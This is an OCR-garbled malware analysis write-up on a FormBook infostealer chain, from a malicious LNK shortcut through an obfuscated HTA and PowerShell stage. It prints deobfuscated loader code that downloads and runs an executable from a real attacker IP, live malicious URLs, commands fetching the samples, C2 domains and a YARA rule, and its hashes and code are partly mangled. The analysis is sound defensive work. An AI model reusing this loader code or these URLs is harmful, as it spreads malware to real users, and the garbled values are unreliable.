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Sample:

Tdcce19e1a6306424d073487af821f0

BackgroundPermalink

FormBook is an infostealer malware that was first discovered in 2016. It steals various types of data from infected

systems, including credentials cached in web browsers, screenshots, and keystrokes. It also has the ability to act as

a downloader, enabling it to download and execute additional malicious files.

Static Analysis - Stage 1Permalink

Database Entry

Intelligence @)

SHA256 hash:
SHA3-384 hash:
SHA1 hash:
MDS5 hash:
humanhash:
File name:
Download:
Signature @

File size:

First seen:

Last seen:

10Cs YARA @ File information Comments

f2840d65ddeesad75210f31349e18385¢chc9bca229666fc822642b5460772210

[0 07bd677a540b6258b2806ece8bb289f50a52b7d07d414373c53a4a1830ca%fbd8798c636c2f6dfd8210f53466461b326
[0 3ec0f825bab49dabed 1b2b09f63ed46be0c31579

[0 6b077822e20c14af987bf869836ddB9b

saturn-aspen-white-tennis

13820099132-PHOTQ.Ink

[B download sample

301118 bytes

2024-06-08 15:18:23 UTC

Never

Figure 1: Malware Bazaar Entry

it’s crucial to understand that LNK files often serve as shortcuts to executable programs, making them susceptible

to exploitation for malicious code execution. Consequently, I immediately employed LECMD to extract the

command-line arguments that would be executed if the program were run, providing essential insights into

potential malicious activities.
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Source file: C:\Users\Ox\Desktop\New folder\f28u0d65ddee6a875210f313U9e18385cbc9bca229666fc8226U2b5U6077e210.nk
Source created:
Source modified:
Source accessed:

-—— Header ——
Target created:
Target modified:
Target accessed:

File size (bytes):

Flags:

File attributes:

Icon index:

Show window: (Display the window as minimized without activating it.)

Name: 13820099132-PHOTO

Relative Path: ..\..\..\Windows\System32\WindowsPowerShell\vl.®@\powershell.exe
Arguments: . $env:C:\Wx\S*2\mxh?a.* |'http://armanayegh.com/wee/wowl23.hta'
Icon Location: shell32.d1l1l

Figure 2: LECMD Output reveals URL

This output revealed a 2nd stage that is being downloaded from a URL. Here is a CMD command to download the

file without executing it safely.

curl http://armanayegh.com/wee/wow123.hta > wow123.hta

Static Analysis - Stage 2Permalink

Observing the .hta file revealed that there is a Visual Basic script inside, as shown in Figure 3.

1 <head> Al

2 |<script language="vBsCRIPT">

HOFunction GLJRK(ByVal GfTygVTOsT)
Dim nQAvVK
= Dim bNIzRC1
bNIzRC1 = 61742
Dim hwUtdEN
12 [ hwUtdEN = Kkfqvjz (GETygVTOST)
If hwUtdEN = 7000 + 1204 Then
14 For Each nQAVK In GfTygVTOsT
15 H Dim mAINBHAVQN
MAINBHAVQN = mAINBHAVQN & Chr (nQAvK - bNIzRC1)
Next
End If|
G1lJRK = mAINBHAVQN
End Function

5 EFunction 1zUb()
Dim GEfTygVTOsT
Dim UHNJEsiuaGcwQ
B GEfTygVTOsT = Array(61854,61853,61861,61843,61856,61857,61846,61843,61850,61850,61788,61843,61862,61843,61774,61787,61811,61862,61843,61841,61859,6185
UHNJEsiuaGewQ = G1JRK (GETygVTOsT)
=] Dim DGKCkFIKPLRB
31 o Set DGKCKFIKPbRB = IpwPq(GlJRK(Array(61829,61857,61841,61856,61847,61854,61858,61788,61825,61846,61843,61850,61850)))
32 DGKCKFIKPbRB.Run (UHNJEsiuaGcwQ) ,0,true
33 self.close()

Visual Basic file length: 10853 lines: 54 Ln:18 Col:10 Pos:353 Windows (CRLF)  UTF-8 INS

Figure 3: Showing The Content of the .hta file

It was observed that a main function is called on an array, likely for deobfuscation purposes. A new VBS file was

created with the copy of the function and the array to observe the output of the new array as shown in Figure 4.
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[~ = |
1 |BFunction GlJRK(ByVal GfTygVTOsT)
2 Dim nQAvVK

H Dim bNIzRC1
4 bNIzRC1 = 61742
5 Dim hwUtdEN
8 hwUtdEN = Kkfqvjz(GETygVTOsT)
If hwUtdEN = 7000 + 1204 Then
8 For Each nQAvVK In GfTygVTOsT
9 |= Dim mAINBHAVQN
10 MAINBHAVQN = mAINBHAVON & Chr (nQAvK - bNIzRC1)
11 Next
End If
13 G1lJRK = mAINBHAVQN
14 End Function

Function Kkfqvjz (ByVal hwUtdEN)
Kkfqviz = VarType ( hwUtdEN)
End Function

GETyqVTOsT = Array(61854,61853,61861,61843,61856,61857,61846,61843,61850,61850,61788,61843,61862,61843,61774,61787,61811,61862,61843,61841,61859,61858,
UHNJEsiuaGewQ = GLJRK(GETygVTOsT)
WScript.Echo UHNJEsiuaGcwQ

< >

Visual Basic file length: 10404 _lines: 22 Ln:18 Col:13 Pos:425 Windows (CRLF)  UTF-8 INS.

Figure 4: Trying to Deobfuscate The Array

C:\Users\0x\Desktop\New folder>cscript test.vbs
Microsoft (R) Windows Script Host Version 5.812
Copyright (C) Microsoft Corporation. All rights reserved.

powershell.exe —ExecutionPolicy UnRestricted function tGIue($EpIxmuGVuZLbfA, $aTGikfPRsZRV){[IO.File]::WriteAllBytes($
EpIxmuGVuZLbfA, $aTGikfPRsZRV)};function bXhQxPG($EpIxmuGVuZLbfA){if($EpIxmuGVuZLbfA.EndsWith((sJQmIfmn @(66989,67043,
67051,67051))) —eq $True){rundll32.exe $EpIxmuGVuZLbfA }elseif($EpIxmuGVuZLbfA.EndsWith((sJQmIfmn @(66989,67055,67058,
66992))) -eq $True){powershell.exe —-ExecutionPolicy unrestricted —File $EpIxmuGVuZLbfA}elseif($EpIxmuGVuZLbfA.EndsWith
((sJQmIfmn @(66989,67052,67058,670U8))) —eq $True){misexec /qn /i $EpIxmuGVuZLbfA}else{Start-Process $EpIxmuGVuZLbfA}}
;function EZaqwmkrpm($YYPOnwifQTinecw){$UnrKhxCyrLrSiUjqf = New-Object (sJQmIfmn @(67021,6704U,67059,66989,67030,67044
,670U1,67010,67051,670U8, 670Ul ,67053,67059)) ; [Net.ServicePointManager]: :SecurityProtocol = [Net.SecurityProtocolType]:
:TLS12;$aTGikfPRsZRV = $UnrKhxCyrlLrSiUjqf.DownloadData($YYPOnwifQTinecw);return $aTGikfPRsZRV};function sJQmIfmn($rdZr
reW) {$UDcOSFQvyucyt=669u3 ; $hIpVaXCveA=$Null; foreach($LhcCvADFdJ in $rdZrreW){$hIpVaXCveA+=[char]($LhcCvADFdJI-$UDcOSFQv
yucyt)};return $hIpVaXCveA};function VpeUnfmvvUnskxx(){$joDRUbaqCRhqCUu = $env:AppData + '\';$ZYEuq = $joDRUbaqCRhqCUu
+ '"WAT%20certificate.exe'; if (Test-Path -Path $ZYEuq){bXhQxPG $ZYEuq;}Else{ $rqdhhzPQQqHkKt = EZaqwmkrpm (sJQmIfmn @
(67047,67059, 67059, 67055, 67001, 66990, 66990, 66992, 67000, 66999, 66989, 66993 , 66991, 66989, 66993, 66991 , 66992, 66989, 66999, 670
00,66990, 67062, 67040, 67057, 67052, 66990, 67029, 67008, 67027, 66980, 66993, 66991, 67042, 670Ul 67057, 67059, 67048, 67045, 670US , 6
7042, 67040, 67059, 67041, 66989, 67044, 67063, 67044)) ;tGIue $ZYEuq $rqdhhzPQQqHKKE;bXhQxPG $ZVEuq:};; ;;}VpeUnfmvvUnskxx;

Figure 5: Output Of The Array Using CScript

The output is a Powershell script that is being executed. After some cleaing of the code it looks like this:

Y

function Ezagwmkrpm ($¥YYPOnwifQTinecw)
=K
$UnrKhxCyrLrsSivujgf = New-Object (sJomIfmn €( ’ r . 1 i i
[Net.ServicePointManager] ::SecurityProtocol = [Net.SecurityProtocolTypel::TLS12;
$aTGikfPRSZRV = $UnrKhxCyrLrSiUjgf.DownloadData ($YYPOnwifQTinecw) ;
return $aTGikfPRSZRV

“bi
function sJQmIfmn($rdzZrrew)

$UDCOSFQuyucyt=
$hIpvaXCveA=$Null ;
foreach ($LhcCVADFAJ in $rdzZrrew)

$hIpVaXCveA+=[char] ($LhcCVADFAJ-$UDCOSFQuyucyt)
r y:

return $hIpVaXCveA

t}:

function VpeUnfmvvUnskxx ()

=0

$joDRUbaqCRhqCUu = $env:AppData
$ZYEuq = $joDRUbaqCRhqCUu + 'VAT
if (Test-Path -Path $2YEuq)

=] {

DbXhQXPG $ZYEuq;

r }

Else

=] {

52 $rqdhhzPQOQHKKt = EZaqwmkrpm (sJQmIfmn @( , . , , , . . , , . . , ,

. »;
tGIue $ZYEuqg $rgdhhzPQQQHKKE;
DXhQXPG $ZYEuq;
il Yiiii
-}
5 VpeUnfmvvUnskxx ;|

Windows PowerShell length: 1,806 _lines: 57 Ln:57 Col:17 Pos: 1,807 Windows (CRLF)  UTF-8 INS.

Figure 6: PS Script After Cleaning
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The attacker once again employed the same technique to obfuscate the code, utilizing a main function called on

arrays. A new modified PS code was written to deobfuscate as shown in Figure 7.

Evewizsie 5| Bt OB 8 Hrepsest @)
1 function sJQmIfmn($rdzrrew) ~
2 |=¢
3 $UDCOSFQuyucyt=

4 $hIpvaXCveA=$Null ;
foreach ($LhcCVADFAS in $rdzrrew)
=] {
$hIpvaxCveA+=[char] ($LhcCVADFAI-$UDCOSFQVyucyt)
Yi
9 return $hIpvaxCveA
10 t);

12 | function EZagwmkrpm ($¥YPOnwifQTinecw)

3 =t

14 $UNrKhxCyrLrSiUjqf = New-Object (sIQmIfmn @( , . , , . , M
[Net.ServicePointMan ecurityProtocol = [Net.SecurityProtocolTypel::TLS12;

#52TCikEPRSZRYV = § %CyrLrSiUigf.DownloadData ($YYPOnwifQTinecw) ;
#return $aTGikfPRSZRV

18 Write-Host $UnrKhxCyrLrSiUjqf

return $YYPOnwifQTinecw
t};

% R —

)

24 |Write{{ost $rqdhhzPQQQHKKY| |

Windows PowerShell length: 964 lines: 24

n:24 Col:27 Pos:%5 Windows (CRLF)  UTF-8 INS.

Figure 7: PS Script To Output

PS C:\Users\0x\Desktop\New folder > .\test_ps.psl

System.Net.WebClient
http://198.23.201.89/warm/VAT%20certificate.exe

Figure 8: Output Of The Arrays

As depicted in Figure 8, the deobfuscation process was successful, revealing a new stage.

PS C:\Users\0x\Desktop\New folder > wget http://198.23.201.89/warm/VAT%20certificate.exe certificate.exe

Figure 9: Downloading The Actuall Malware

Static Analysis - Stage 3Permalink

This is the final stage of the malware, where it runs and executes.
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md5 ldccel9ela6306424d073U87af821FF0
shal 9de500775811f65415266689cbdfd035e167+1U8
sha256 T7elldcaae3daf05clf5a6a3d1lPeld936cc589UUd6ae9ec69U3blbe6d995e9Ub5c
ELELRTER static
windows
pe
i386
C:/Users/0x/Desktop/New folder/certificate.exe

ATT&CK Tactic ATT&CK Technique

MBC Objective MBC Behavior

::RCU4 [CBO27.009]
::RCU KSA [cee28.002]
::RCU4 PRGA [C0021.004]

_ : :Encoding-Standard Algorithm [E1627.m02]

(4 matches) data-manipulation/encoding/xor
data-manipulation/encryption/rci
data-manipulation/encryption/rci
load-code/pe
load-code/pe

Figure 10: CAPA on The EXE

Running CAPA revealed that there is probably encrypted communication using RC4 Encryption.

Dynamic Analysis - Stage 3Permalink

The program was executed, and packet capture using Wireshark revealed encrypted data transmission, as depicted

in Figure 11.
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Wireshark - Follow TCP Stream (tcp.stream eq 33)- any _ o x
File Edit View Go Capture Analyze
POST /fo80/ HTTP/1.1
m a6 % [& Q| |Accept: text/ntml,application/xhtml+xml,application/xnl;q=0.9,*/*;q=0.8
Accept-Language: en-US,en
[ [tcp.stream eq 33 Accept-Encoding: gzip, deflate, br BE -]+
Host: www.kasegitai.tokyo
No. Time Souice Origin: http://www.kasegitai.tokyo

417 123.717717029 10.0
418 123.717753055 10.0
419 123.718295577 10.0
420 123.718832758 10.0
421 123.718848089 10.0
0
©
0

Cache-Control: no-cache

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length

Referer: http://www.kasegitai.tokyo/foBo/

User-Agent: Mozilla/4.® (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.®; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR

3.0.30729; Media Center PC 6.9; .NET4.6C; .NET4.0E; InfoPath.2) =
F1upp JlKLZaKVilwIBniQUIhl CidnleKlv+iUwZ/uv/

200 0K

422 123.754097910 10

756194026

0
[}
[}
[}
0
0
0.
0

Noflowsboh

426 125 0

EBF3UA//Mwaf 4Sk IPNBNKMALOydc2KAT thrnLMQjVs JQODCKHTTP/1.
Connection: Close
- Server: INetSim HTTP Server
Frame 423: 314 bytes on wire (28 pate: Thu, 13 Jun 2024 88:30:03 GMT
Linux cooked capture vi Content-Length: 258
Internet Protocol Version 4, SrQ content-Type: text/html
Transmission Control Protocel,
[2 Reassembled TCP Segments (408 cptpls
Hypertext Transfer Protocol head> F
Line-based text data: text/html <title>INetSim default HTML page</title>
</head>
<body>
<p></p>
<p alig
<p alig
</body>
| | </html> E
00 04 00 01 00 06 08 B0 27, <
45 00 01 2a 70 4a 40 00 40
©a 00 00 04 00 50 c4 95 65
50 19 01 f5 15 23 00 80 3c!
20 3c 68 65 61 64 3e Ga 20
6c 65 3e 49 4e 65 74 53 69
6c 74 20 48 54 4d 4c 20 70
74 6c 65 3e 0a 20 20 3¢ 2f
20 3¢ 62 6 64 79 3e @a 20
2f 70 3e Ga 20 20 20 20 3c| Packet420.1client pkt, 2server pkts, 1 turn, Clck to select.
3d 22 63 65 6e 74 65 72 22

center">This is the default HTML page for INetSim HTTP server fake mode.</p>
center">This file is an HTML document.</p>

73 20 74 68 65 26 64 65 6g  Lnireconversation (1,212 bytes) - Show dataas |ASCII - Stream |33 |3
Find Find Next =
Frame (314 bytes) | Reassembled TCP (40 [Finanex
[ElHelp Filter Out This Stream Print. Saveas, Back % Close
@ 7 wireshark_any235802.pcapng Profile: Default

Figure 11: Using Wireshark To Capture The Data

Every small fraction of seconds, the data was being sent to a different domain, as shown in Figure 12.

Jun10 08:11
Capturing fromany - = x

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

LV-gC RE QDY KIS e
(W]dns B -]+
No. Time Source Destination Protocol  Length Info e

143 80.402613696 10.0.0.3 10.0.0.4 DNS 97 Standard query[response Oxal8d A www.Kkasegitai.tokyo A 10.6.0.3 |

172 90.525421459 10.6.0.4 10.0.0.3 DNS 87 Standard query [0x68aa A www.goldenjade-travel.com

173 90.533593307 10.0.0.3 10.0.0.4 DNS 103 Standard query [response 0x68aa A www.goldenjade-travel.com A 10.0.0.3

203 100.659305634 10.0.0.4 160.0.0.3 DNS 86 Standard query [0xb@6b A www.antonio-vivaldi.mobi

204 100.669404219 10.0.0.3 10.0.0.4 DNS 102 Standard query [response 0xb6b A www.antonio-vivaldi.mobi A 16.6.0.3

233 110.776279163 10.0.0.4 10.0.0.3 DNS 80 Standard query [0x2183 A www.magmadokum.com

234 110.799044989 10.0.0.3 10.0.0.4 DNS 96 Standard query [response 0x2183 A www.magmadokum.com A 10.0.0.3

263 120.903407407 10.0.0.4 10.0.0.3 DNS 81 standard query [0x6ade A www.rssnewscast.com

264 120.919227253 10.6.0.3 10.0.0.4 DNS 97 Standard query|response 0x6ade A www.rssnewscast.com A 10.0.0.3

294 131.058488890 10.0.0 10.0.0 DNS 96 Standard query[response 0x6ca4 A waw.liangyuen528.com A 10.0.0.3

323 141.186675934 10.0.0.4 10.0.0.3 DNS 81 Standard query[0xe16a A www. techchains.info

324 141.193123264 10.0.0.3 10.0.0.4 DNS 97 Standard query |response 0x816a A www.techchains.info A 10.0.0.3

353 151.368991061 10.0.0.4 10.0.0.3 DNS 87 Standard query [0x38a3 A www.elettrosistemista.zip

354 151.396422940 10.6.0.3 10.0.0.4 DNS 103 Standard query [response 0x38a3 A www.elettrosistemista.zip A 10.0.0.3

383 161.483686764 10.0.0.4 10.0.0.3 DNS 85 Standard query [0x3574 A www.donnavariedades.com

384 161.493620622 10.0.0.3 160.0.0.4 DNS 101 Standard query [response 0x3574 A www.donnavariedades.com A 10.0.0.3

413 171.628547342 10.0.0.4 10.0.0.3 DNS 77 Standard query [0x254b A www. 66@danm. top

414 171.637856389 10.0.0.3 10.0.0.4 DNS 93 Standard query [response 0x254b A www.660danm. top A 16.0.0.3

Frame 293: 82 bytes on wire (656 bits), 82 bytes captured (656 bits) on interface any, id ©
Linux cooked capture vi

Internet Protocol Version 4, Src: 10.0.0.4, Dst: 10.0.0.3

User Datagram Protocol, Src Port: 59026, Dst Port: 53

Domain Name System (query)

00 00 00 ©1 00 06 08 89 27 fO b2 e7 00 00 08 00 '

45 00 ©0 42 ab 9b 00 B0 80 11 7b 09 Oa 0 00 04 E- B {

©a 00 00 03 e6 92 00 35 00 2e 1b 70 6c ad 01 00 5 ...pl
0030 00 01 00 00 00 60 60 00 [ERFEFEFE TITI TN v - 11
[LECHGe 67 79 75 65 6e 35 32 38 03 63 67 6d GOJECJCENEENgyuens2 8- com:

00 o1

any: <live capture In progress> 42 - Displayed: 26 (5.9%) Profile: Default

Figure 12: Capturing in Wireshark DNS Requests
Every domain was flagged as malicious by VirusTotal, as illustrated in Figures 13 and 14.

Z Q wwwgoldenjade travel.com

> Reanalyze == Similar~ 3 Graph ¢ API

-y
9

wwwgoldenjade travel.com L t
goldenjade-travel.com 10 months ago 2 hours ago Q! (%)

and maiwa

DETECTION DETAILS RELATIONS COMMUNITY

Figure 13: Malicious Domain
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www.kasegitai.tokyd

Did you intend to search across the file corpus instead? Click here
C Reanalyze
www kasegitai.tokyo

kasegitai.tokyo 10 months ago 2daysago

and maiwa

DETAILS RELATIONS COMMUNITY

Figure 14: Malicious Domain

In addition, for persistence and evasion mechanisms, after execution, the original file deletes itself, moves to a

different location, and adds itself to an autorun path, ensuring it is executed every time the computer starts up.

=
File Search Entry User Options Category Help
2EIODALE A Y [@ams |
B KnownDLLs Fp Winlogon Winsock Providers & Print Monitors @ LSA Providers J Network Providers = WMl 1 office

B Eventhing B Logon #  Explorer & Internet Explorer 5 Scheduled Tasks . Services B Drivers E7 Codecs o2 Boot Execute [T image Hijacks @ Applnit
Auteruns Entry Description Publisher Image Path Timestamp VA
) Logen
M HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Sun Jun 9 04:30:40 2024

A MicrosoftEdgeAutol sunch_ABDCFOS0BD7CI3FBFOT2BEBB3314..  Microsoft Edge (Verified) Microsoft Corporation  C:\Program Files (x86)\Microsoft\Edge\Application\msedge exe Wed Jun 523:52:03 2024

OPENVPN-GUI (Verified) OpenVPN Inc. C:\Program Files\OpenVPN\bin\openvpn-gui.exe Thu May 23 15:08:08 2024

% Zoomit Sysinternals Screen Magnifier (Verified) Microsoft Corporation  Ci\Toolk\sysintemals\Zoomlt6d.exe Wed Feb 716:27:52 2024
HKLMYSOFTY rosoft! u Sat Jun 8 22:51:50 2024
BinDiffPerUserSetup (Verified) Google LLC C4\Program Files\BinDiff\bin\bindiff_config_setup.exe Mon Sep 25 05:2:
VBoxTray VirtualBox Guest Additions Tray Applicati... _(Verified) Oracle America, Inc. CAWindows\system32\VBox Tray.exe Wed May 117:10;
HKLM\SOFTWARE\Microsoft\Windows\ CurrentVersionPalicies\Explorer\Run Wed Jun 12 22:45:54 2024
i pyHo3 (Not Verified) Ci\Program Files (c86)\Grhvd\qzmiBlithx 1l.exe 2
KLM\SYSTEM\CurrentControlSet\Control\SafeBootiAlternateShell Sat Dec 701:15:08 2019
il cmd.exe Windows Command Processor (Verified) Microsoft Windows CAWindows\systern32\cmd.exe Sun Dec 31848512023
B HKLM\SOFTWARE\Microsoft\Active SetuphInstalled Companents Sun Jun 9 00:53:50 2024
BO- — CAProgram Files (28)\Grhucd _ O otion\125.0.6422.14nstaller... SatJun 822:55:28 2024
pplication125.0.2533.92\Instal...  Sat Jun 8 22:08:16 2024
Home Share View Application Toals ® Sat Dec 701:10:05 2019
« « 4|l > ThisPC » Locel Disk(C) » Program Files (x86) » Grhxd v U | Search Griwd » Sall SN AT
Sat Dec 701:10:05 2019
" v
. >
# Quick accefs
—
I Desktop
& Downloads
5] Documengs
=] Pictures.
b Music
New faldfr
qemiBithx Ilexe
System3Z
B videos o
Titem  1item selected 264 KB EEl

Figure 15: Autoruns Output

Further Analysis On The Threat ActorPermalink

After analyzing the attacker’s patterns and techniques, it was decided to conduct a deeper investigation of their

web server. Reverting to the parent directory revealed numerous variants of the malware ready for deployment.
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“ _ A Notsecure  198.23.201.89/warm,/7C=M:0=A

Index of /warm

Name Last modified Size Description
a Parent Directory -
VAT certificate exe 2024-05-29 16:25 265K
@ Quote hta 2024-05-29 18:51 11K
Auto B exe 2024-06-04 04:16 1.1M
@ Auto Borar 2024-06-04 04:21 649K
@ dion.hta 2024-06-04 12:25 11K
Delivery 06.exe 2024-06-04 19:14 1.1M
@ Delivery 06.1zh 2024-06-04 19:18 684K
Satin(6 exe 2024-06-0504:39 1.1M
@ Satin06.1zh 2024-06-03 04:41 676K
Delivery 07 exe 2024-06-05 16:22 1.2M
@ Delivery 07.1zh 2024-06-05 16:23 TOSK
DELIVERED 0606.exe 2024-06-06 06:39 1 2M
@ DELIVERED 0606.1zh 2024-06-06 06:40 689K
proposal report exe 2024-06-06 18:43 1 2M
@ proposal report.1zh 2024-06-06 18:46 689K
quote exe 2024-06-07 0531 1.1M
@ VAT certificate lzh 2024-06-07 02:34 684K
@ wowl23 hta 2024-06-07 11:530 11K

Apache’2.4.38 (Wint4) OpenSSL/3.1.3 PHP/8.2.12 Server at 198.23.201.89 Port 50

Figure 16: More Variants Of The Mawlare

Here is a Python script To download every file in that directory:

import requests
from bs4 import BeautifulSoup
import urllib.request

import os

def download_files_from_url(url):

response = requests.get(url)
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if response.status_code == 200:
soup = BeautifulSoup(response.content, 'html.parser')
links = soup.find_all('a")
if not os.path.exists('downloaded_files'):
os.makedirs('downloaded files')
for link in links:
href = link.get('href')
if not href.endswith('/"):
if not href.startswith('?"):
file_url = url + href
file_name = href.split('/")[-1]
file_path = os.path.join('downloaded_files', file_name)
print("Downloading", file_url)
urllib.request.urlretrieve(file_url, file_path)
else:
print("Failed to fetch URL:", url)

download_files_from_url('http://198.23.201.89/warm/")

PS C:\Users\0x\Desktop\New folder > py .\download_attacker.py
Downloading http://198.23.201.89/warm/Auto%20R.exe
Downloading http://198.23.201.89/warm/Auto%20R.rar
Downloading http://198.23.201.89/warm/DELIVERED%200606.exe
Downloading http://198.23.201.89/warm/DELIVERED%200606.1zh
Downloading http://198.23.201.89/warm/Delivery%2006.exe
Downloading http://198.23.201.89/warm/Delivery%2006.1zh
Downloading http://198.23.201.89/warm/Delivery%2007.exe
Downloading http://198.23.201.89/warm/Delivery%2007.1zh
Downloading http://198.23.201.89/warm/Quote.hta
Downloading http://198.23.201.89/warm/Satin06.exe
Downloading http://198.23.201.89/warm/Satin@6.1zh
Downloading http://198.23.201.89/warm/VAT%20certificate
Downloading http://198.23.201.89/warm/VAT%20certificate
Downloading http://198.23.201.89/warm/dion.hta

Downloading http://198.23.201.89/warm/proposal%20report
Downloading http://198.23.201.89/warm/proposal%20report
Downloading http://198.23.201.89/warm/quote.exe
Downloading http://198.23.201.89/warm/wowl23.hta

Figure 17: Downloading Every File

After a brief analysis and examination of each file, it was concluded that they all contain the same malware with
slight modifications. Each variant employs similar techniques and mechanisms to steal various types of data from

infected systems, including credentials cached in web browsers, screenshots, and keystrokes.

I0OCsPermalink
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e Hash:

351650a422e427140d74d8c68185fa24
016b33de3a455595d25143d2a4f0e994
2eebcdd0e833ba968a9cac3b0aed72de
5500b14a5124b3775bf49d67ed8bd7f0
132e9ch76def326daad088199587b759
b601fc607a492f38f141109d21db8b12
b94b6c27e410388cd4e7dfeb352b75ce
9a22d6857759f61ab3f65df7c8194521d
24be5183dd56c3d08bae8625fba83aaa
092cd26903ed79eb7dad16adbb7c928d
4e38516298dd0a2f5b47bc1fe@79f2ab
5b3383df0b@33c0401892c1d6109f704
cd5915bac2eal67ddb7bcc2ae9ceab78
09abb049al1abaac4ce2aef@dc60bbbbd
11619700117b122175c52b8703180504
1dcce19e1a6306424d073487af821f0
48cd56cea8ad055c9d3ade14fd07695a

e URL:

hxxp://armanayegh[.Jcom
www[ . Jnortherncraftman(.]com
www[ . Jbilligaskorid[.]club
www[ . Jusekalendaergpt83[ . Jcom
www[ . Jjoyesi[.Ixyz
www[ . Jhandsome-sex[ . ]com
www[ . Jprepcare[.Jorg
www[ . Jtechchains[.]info
www[ . ]financialposter[.]com
www[ . Jshenzhoucui[ . Jcom
www[ . Jdop2[ . Jtop
www[ . Jbamconstruction[.]store
www[ . Jgoldenjade-travel[.]com
www[ . Jbelatofo[.]com
www[ . Jthecoloringbitch[.]Jcom
www[ . Jeconomic-basics[.]net
www[ . Jponymph[ . ]site
www[ . Jempowermedeco[ . ]com
www[ . Jrssnewscast[.]com
www[ . Jmagmadokum[ . Jcom
www[.]ditec-zeitarbeit[.]com
www[ . Jxionghugian[.]Jtop
www[ . Jkasegitail.]tokyo
www[ . Jmanekineko106[ . Ixyz
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www[ . ]faajayapariwisatal.]com
www[ . ]66@danm[ . Jtop

www[ . Jliangyuen528[ . Jcom
www[ . ]elettrosistemistal.]zip
www[ .]117absasdad[.]store
www[ . Jmakeinail . Jonline

www[ . Jdorama-feelings[.]com
www[ . Jwmabed[ . Jshop[.]

www[ . Jk9vyp11no3[. Jcfd

www[ . Jkateandrae[.]com

www[ . Jhroost[.]dev

www[ . Jm7q374[.]cfd

www[ . J1loydsgroupco[.]com
www[ . Jenigmaticuii[.]Jcom
www[.]1ijym8[.]cfd

www[ . Jazlimitlesshvac[. ]net
www[ . ]1b301[ . ]space

www[ . Jaaliyahsbabysitting[.]com
www[ . Jzenturasolutions[.]com
www[ . 18gdh[ . Jcom

www[ . Jjdfoxlight[.]info

www[ . Jdonnavariedades[.Jcom
www[ . Jcebede24[ . Jcom

www[ . ]66nong[ . Jcom

www[ . Ixelynx[.]Jcom

www[ . Jporia[.]link

www[ . 13xfootball[.]com

www[ . Jfreespirit-jules[.]com
www[ . Jolahbet[.]live

www[ . Jfreshrakgroup[ . Jcom
www[ . Jpivotalworks[.]tech
www[ . Jxiongqia[ . Jtop

www[ . Jantonio-vivaldi[. Jmobi

o IP:

Yara RulePermalink

rule FormBook {
meta:
description = "Searches for Formbook variants"
author = "@xMrMagnezi"
date = "2024-06-13"

strings:
$hex_sequence = { 33 DB 53 FF 75 FC FF 75 F8 57 E8 84 FD FF FF }
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$hex_sequence2 = { FF 50 FF B5 3C FD FF FF 8D 85 68 FE FF FF 50 E8 4C OF }

condition:

$hex_sequence or $hex_sequence?

Source: https://0xmrmagnezi.github.io/malware%?20analysis/FormBook/
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